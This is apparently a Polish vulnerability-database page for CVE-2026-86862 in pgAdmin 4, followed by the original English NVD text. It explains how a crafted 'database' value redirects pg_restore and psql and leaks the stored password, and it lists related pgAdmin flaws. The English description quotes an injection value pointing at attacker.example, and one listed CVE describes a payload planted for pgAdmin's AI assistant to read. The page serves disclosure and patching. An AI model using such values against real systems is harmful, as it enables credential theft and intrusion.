CVE-2026-86862
ŚrednieCVSS 6.5Streszczenie
Podatność w pgAdmin 4 dotyczy narzędzi Restore i Maintenance, które przekazują pole 'database' bezpośrednio jako argument --dbname do pg_restore i psql. Wartość zawierająca znak równości jest rozwijana przez libpq do pełnego ciągu połączenia, co pozwala na przekierowanie połączenia na serwer wybrany przez atakującego. W wyniku tego może dojść do ujawnienia odszyfrowanego hasła bazy danych oraz możliwości nawiązywania połączeń wychodzących z hosta pgAdmin do dowolnych adresów sieciowych.
Ocena ryzyka
Organizacja narażona jest na kradzież poświadczeń bazy danych (przechowywane hasło jest przekazywane w zmiennej środowiskowej PGPASSWORD) oraz na wykorzystanie serwera pgAdmin jako punktu wyjścia do ataków na inne hosty. Podatność może być wykorzystana przez każdego uwierzytelnionego użytkownika z uprawnieniami tools_restore lub tools_maintenance, co domyślnie przysługuje roli User.
Rekomendacja
Natychmiast zaktualizuj pgAdmin 4 do wersji 9.18 lub nowszej, która zawiera poprawkę polegającą na użyciu zmiennej środowiskowej PGDATABASE zamiast argumentu --dbname. Jeśli aktualizacja nie jest możliwa, ogranicz przydział uprawnień tools_restore i tools_maintenance tylko do zaufanych użytkowników.
Inne podatności w pgAdmin 4
Zobacz wszystkie- CVE-2026-86864Wysokie
W narzędziu Backup w pgAdmin 4 nazwa bazy danych pochodząca z żądania była przekazywana do pg_dump jako pozycyjny argument bez walidacji. Ponieważ pg_dump używa getopt_long z permutacją argumentów, wartość zaczynająca się od myślnika (np. --file=/ścieżka) była interpretowana jako opcja, co pozwalało nadpisać wcześniej ustawiony parametr --file i zapisywać pliki poza katalogiem File Manager. To samo pole umożliwiało również wstrzyknięcie ciągu połączenia, przekierowując pg_dump na serwer atakującego wraz z hasłem bazy z zmiennej PGPASSWORD.
- CVE-2026-86861Średnie
W pgAdmin 4 endpoint save_file w File Managerze sprawdzał uprawnienia do ścieżki za pomocą Filemanager.check_access_permission(), a następnie otwierał plik do zapisu zwykłym wywołaniem open(), bez flagi O_NOFOLLOW. W efekcie, jeśli w oknie czasowym między sprawdzeniem a zapisem podmieniono ostatni element ścieżki na dowiązanie symboliczne, zapis podążał za tym dowiązaniem i mógł utworzyć lub nadpisać dowolny plik z uprawnieniami konta systemowego pgAdmin. Luka dotyczy wersji pgAdmin 4 od wprowadzenia sprawdzania zawartości w ścieżce zapisu File Managera do wersji 9.18.
- CVE-2026-7819Wysokie
W pgAdmin 4 File Manager występuje podatność na atak typu traversal ścieżki z wykorzystaniem dowiązań symbolicznych. Użytkownik z autoryzacją może stworzyć dowiązanie symboliczne w swoim katalogu, które wskazuje na zewnętrzny zasób, co pozwala na zapis danych w dowolnej lokalizacji dostępnej dla procesu pgAdmin.
- CVE-2026-7818Wysokie
W pgAdmin 4 FileBackedSessionManager występuje podatność na deserializację niezaufanych danych, co może prowadzić do zdalnego wykonania kodu na poziomie systemu operacyjnego. Problem ten wynika z braku odpowiednich kontroli integralności przed deserializacją zawartości plików sesji.
- CVE-2026-7816Wysokie
W pgAdmin 4 przed wersją 9.15 występuje podatność na wstrzykiwanie poleceń systemowych (CWE-78) w funkcji importu/eksportu zapytań. Użytkownik uwierzytelniony może wstrzyknąć złośliwe polecenia, co prowadzi do wykonania dowolnych komend na serwerze pgAdmin lub zapisu plików w dowolnej lokalizacji.
- CVE-2026-7815Wysokie
Podatność typu SQL injection w narzędziu pgAdmin 4 Maintenance Tool pozwala uwierzytelnionemu użytkownikowi z uprawnieniami tools_maintenance na wykonanie dowolnych poleceń SQL na serwerze PostgreSQL. Wykorzystanie tej luki może prowadzić do eskalacji uprawnień i wykonania poleceń systemowych na hoście bazy danych.
- CVE-2026-86863Krytyczne
W pgAdmin 4 źródło uwierzytelniania 'webserver' miało podatność polegającą na tym, że funkcja WebserverAuthentication.get_user() w przypadku braku wartości w środowisku WSGI/CGI odczytywała nazwę użytkownika bezpośrednio z nagłówków HTTP przesyłanych przez klienta. W efekcie każdy klient mogący połączyć się z pgAdmin mógł podać własny nagłówek i zalogować się jako dowolny użytkownik, w tym istniejący Administrator, bez hasła. Problem dotyczy wersji od 6.2 do 9.18 i występuje tylko gdy w AUTHENTICATION_SOURCES włączone jest 'webserver'.
- CVE-2026-17566Krytyczne
Podatność w pgAdmin 4 umożliwia zdalne wykonanie kodu (RCE) poprzez wstrzyknięcie polecenia do narzędzia Import/Export Data. Funkcja walidująca zapytania SQL błędnie interpretuje znaki backslasha w ciągach znaków, co pozwala na ominięcie zabezpieczeń i dodanie klauzuli TO PROGRAM do polecenia psql.
- CVE-2026-17351Krytyczne
Podatność w pgAdmin 4 (wersje 9.13 do 9.16) pozwala na ominięcie zabezpieczenia CVE-2026-12045 poprzez wstrzyknięcie zapytania SQL do asystenta AI. Atakujący może umieścić złośliwy ładunek w obiekcie odczytywanym przez asystenta, co prowadzi do wykonania wielu instrukcji SQL, w tym zapisu lub zdalnego wykonania kodu.
- CVE-2026-17349Krytyczne
W funkcji adhoc_connect_server w pgAdmin 4 9.0-9.16, podczas klonowania serwera przez niebędącego właścicielem użytkownika, kopiowane są wszystkie kolumny, w tym dane uwierzytelniające (hasła) oraz flagi własności. Pozwala to atakującemu na przejęcie sklonowanego serwera i korzystanie z haseł bazy danych należących do innego użytkownika (np. administratora).
Oryginalny opis (angielski, źródło NVD)
pgAdmin 4's Restore and Maintenance tools passed the client-supplied 'database' field directly as the value of the --dbname option given to pg_restore and psql. libpq expands a database name containing an equals sign into a full connection string, and connection keywords embedded in that value take precedence over the --host and --port arguments that pgAdmin supplies. A value such as 'host=attacker.example port=5432 dbname=x' therefore redirected the utility to a server chosen by the requesting user rather than the server the operation was invoked against. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection presents that credential to the attacker-nominated endpoint, which may capture it. The redirection additionally permits outbound connections from the pgAdmin host to arbitrary network addresses, including hosts not otherwise reachable by the requesting user. The behaviour is reachable by any authenticated user holding the tools_restore or tools_maintenance permission, both of which the default User role grants. The Maintenance tool was not affected in the earliest releases, where the value was wrapped by a quoting helper that incidentally prevented expansion; it became affected when that wrapper was removed. The fix supplies the target database in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. Where pg_restore requires a --dbname argument to be present, an empty value is passed, which contains no equals sign and is therefore not expanded, while the real name is taken from the environment. This issue affects pgAdmin 4: from the introduction of the --dbname argument in the Restore and Maintenance tools before 9.18.